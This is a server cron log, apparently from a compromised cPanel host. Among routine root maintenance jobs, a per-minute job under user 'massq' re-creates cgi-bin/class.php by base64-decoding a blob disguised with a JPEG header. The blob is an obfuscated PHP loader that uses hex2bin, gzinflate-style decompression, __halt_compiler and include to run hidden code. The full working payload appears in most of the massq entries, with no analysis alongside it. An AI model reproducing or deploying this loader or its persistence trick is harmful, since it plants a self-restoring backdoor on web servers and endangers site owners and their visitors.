Aug 30 20:40:01 server CROND[26910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:40:01 server CROND[26912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:40:01 server CROND[26909]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:40:01 server CROND[26908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:40:01 server CROND[26915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:41:01 server CROND[27727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:41:01 server CROND[27728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:41:01 server CROND[27729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:42:01 server CROND[28103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 20:42:01 server CROND[28101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:42:01 server CROND[28102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:42:01 server CROND[28104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:43:01 server CROND[28579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:43:01 server CROND[28580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:43:01 server CROND[28578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:44:01 server CROND[28949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:44:01 server CROND[28950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:44:01 server CROND[28951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:45:01 server CROND[29337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:45:01 server CROND[29351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:45:01 server CROND[29352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:45:01 server CROND[29354]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:45:01 server CROND[29358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:45:01 server CROND[29353]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:45:01 server CROND[29361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:46:01 server CROND[30214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:46:01 server CROND[30215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:46:01 server CROND[30216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:47:01 server CROND[30590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:47:01 server CROND[30592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:47:01 server CROND[30591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:48:01 server CROND[31059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:48:01 server CROND[31061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:48:01 server CROND[31060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:49:01 server CROND[31476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:49:01 server CROND[31477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:49:01 server CROND[31478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:50:01 server CROND[31858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 20:50:01 server CROND[31859]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 20:50:01 server CROND[31868]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 20:50:01 server CROND[31870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 20:50:01 server CROND[31872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 20:50:01 server CROND[31869]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 20:50:01 server CROND[31875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:50:01 server CROND[31873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:50:01 server CROND[31871]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 20:51:01 server CROND[32691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 20:51:01 server CROND[32693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 20:51:01 server CROND[32692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
